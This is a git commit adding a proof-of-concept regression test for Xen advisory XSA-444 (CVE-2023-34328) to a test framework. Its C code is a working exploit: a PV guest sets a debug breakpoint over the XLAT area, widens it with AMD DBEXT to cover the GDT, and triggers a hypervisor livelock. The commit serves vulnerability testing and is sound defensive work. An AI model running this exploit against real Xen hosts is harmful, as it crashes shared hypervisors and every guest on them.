]> xenbits.xensource.com Git - xtf.git/commitdiff
XSA-444 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Tue, 19 Sep 2023 13:01:27 +0000 (14:01 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 3 Jan 2024 20:23:31 +0000 (20:23 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
include/xtf/hypercall.h
tests/xsa-444/Makefile [new file with mode: 0644]
tests/xsa-444/main.c [new file with mode: 0644]

index 3a63da499ae8def0bc294bb3ee23f250f8a0e94d..892a9e4747438e78610334068bac88fdd365236d 100644 (file)
@@ -165,6 +165,8 @@ states.
 
 @subpage test-xsa-339 - x86 pv guest kernel DoS via SYSENTER.
 
+@subpage test-xsa-444 - x86/AMD: Debug Mask handling.
+
 
 @section index-utility Utilities
 
index fcd16dc3d2ee1409104e4a43ed68242f09dd3b03..0d33807a0906123a9bbd52e2655b4b49ce13a44d 100644 (file)
@@ -77,6 +77,16 @@ static inline long hypercall_stack_switch(const unsigned int ss, const void *sp)
     return HYPERCALL2(long, __HYPERVISOR_stack_switch, ss, sp);
 }
 
+static inline long hypercall_set_debugreg(unsigned int reg, unsigned long val)
+{
+    return HYPERCALL2(long, __HYPERVISOR_set_debugreg, reg, val);
+}
+
+static inline long hypercall_get_debugreg(unsigned int reg)
+{
+    return HYPERCALL1(long, __HYPERVISOR_get_debugreg, reg);
+}
+
 static inline long hypercall_update_descriptor(uint64_t maddr, user_desc desc)
 {
 #ifdef __x86_64__
diff --git a/tests/xsa-444/Makefile b/tests/xsa-444/Makefile
new file mode 100644 (file)
index 0000000..35119ac
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-444
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-444/main.c b/tests/xsa-444/main.c
new file mode 100644 (file)
index 0000000..89cd65d
--- /dev/null
@@ -0,0 +1,135 @@
+/**
+ * @file tests/xsa-444/main.c
+ * @ref test-xsa-444
+ *
+ * @page test-xsa-444 XSA-444
+ *
+ * Advisory: [XSA-444](https://xenbits.xen.org/xsa/advisory-444.html)
+ *
+ * This is for CVE-2023-34328 only.
+ *
+ * Xen has a per-domain mapping area, containing the live GDT/LDTs.  On Xen
+ * 4.13 and earlier, the Compat Translate Area (XLAT) is adjacent to the
+ * GDT/LDTs.
+ *
+ * The XLAT area isn't used by 64bit PV guests, but it is present in the
+ * memory map, which is common to all guest types.  The XLAT area is used by
+ * 32bit PV guests, but they can't set a breakpoint address above 4G, and
+ * therefore can't mount the attack.
+ *
+ * Prior to the XSA-444 fix, Xen allowed PV guests to place breakpoints on the
+ * XLAT area.  Combined with the AMD DBEXT extension, a breakpoint in the XLAT
+ * area can be widened to cover the live GDT too.
+ *
+ * This results in one of two behaviours, both of which are fatal to Xen.
+ *
+ * - On AMD Zen2 and older, Xen suffers XSA-156 / CVE-2015-8104.
+ *
+ * - On AMD Zen3 and later, with the NoNestedDataBp hardware fix for
+ *   CVE-2015-8104, things are more complicated.
+ *
+ *   - Any IRET (which reads the GDT for %cs and %ss) will queue a new @#DB,
+ *     which will be delivered in the interrupted context, prior to decoding
+ *     the subsequent instruction.
+ *
+ *   - The delivery of @#DB won't trigger another @#DB because of the hardware
+ *     fix.  Xen's debug handler runs normally.
+ *
+ *   - If the interrupted context was guest context, the @#DB is forwarded to
+ *     the guest kernel.  For a 64bit PV guest kernel, this always uses the
+ *     SYSRET path out of Xen, and does not trigger a new @#DB.
+ *
+ *   - A 64bit PV guest kernel leaving it's @#DB handler uses HYPERCALL_iret
+ *     in IRET mode rather than SYSRET mode.  This transfers up into Xen via
+ *     SYSCALL (no GDT reads), and leaves Xen via IRET, triggering a new @#DB
+ *     and livelocking the guest taking @#DB's on same instruction boundary.
+ *
+ *   - Any IDT delivery which isn't @#DB triggers a new @#DB, causing Xen's
+ *     debug handler to observe a @#DB pointing at the ENDBR instruction of
+ *     the relevant vector.  The return from the debug handler is to Xen
+ *     context, and therefore by IRET, which livelocks.
+ *
+ *   - Because of the priority of INTR/NMI in the instruction cycle, they take
+ *     priority over pending breakpoints.  Therefore over time and dependent
+ *     on external stimuli, Xen accumulates IRQS-off, blocked-by-NMI, and an
+ *     increasing APIC Priority while still in its livelocked state.
+ *
+ * @see tests/xsa-444/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-444 PoC";
+
+void test_main(void)
+{
+    unsigned long xlat;
+    desc_ptr gdtr;
+    long rc;
+
+    if ( !cpu_has_dbext )
+        return xtf_skip("Skip: DBEXT not available\n");
+
+    sgdt(&gdtr);
+
+    xlat = (gdtr.base & ~((1ul << PAE_L4_PT_SHIFT) - 1)) + 0x80000000ul;
+
+    /* Try to place %dr0 over the XLAT area. */
+    rc = hypercall_set_debugreg(0, xlat);
+    switch ( rc )
+    {
+    case 0:
+        xtf_failure("Fail: Breakpoint set on XLAT area.  Probably vulnerable to XSA-444\n");
+        break;
+
+    case -EPERM:
+        return xtf_success("Success: Unable to set breakpoint on XLAT area.  Probably not vulnerable to XSA-444\n");
+
+    default:
+        return xtf_error("Error: Unexpected error from set_debugreg(): %ld\n", rc);
+    }
+
+    /* Turn %dr0 into a 4G-wide breakpoint, which covers the GDT too. */
+    wrmsr(MSR_DR0_ADDR_MASK, ~0u);
+
+    /*
+     * Activate %dr0.  From this point on, any reference to the GDT will
+     * trigger @#DB.  However, as the hypercall is via SYSCALL, the return is
+     * via SYSRET which doesn't trigger @#DB.
+     */
+    hypercall_set_debugreg(7, DR7_SYM(0, G, RW, 64) | X86_DR7_GE);
+
+    /*
+     * Beyond the hypercall setting up %dr7, Xen is running on borrowed time.
+     *
+     * Any interrupt or non-#DB exception will cause Xen to livelock in
+     * hypervisor context, but as long as we don't tickle any @#DB cases, we
+     * get to keep running.
+     *
+     * Force a #UD to cause Xen to livelock, if a stray interrupt hasn't done
+     * it for us already.
+     */
+    asm volatile ("1: ud2a; 2:"
+                  _ASM_EXTABLE(1b, 2b));
+
+    /*
+     * If vulnerable, Xen won't even reach here.  Cross-check with rc from
+     * above to provide a definitive statement.
+     */
+    if ( rc == -EPERM )
+        return xtf_success("Success: Xen didn't livelock.  Not vulnerable to XSA-444\n");
+
+    /*
+     * If we're running, then some reasoning in the test is wrong.
+     */
+    return xtf_error("Error: Breakpoint set on XLAT but Xen didn't livelock\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */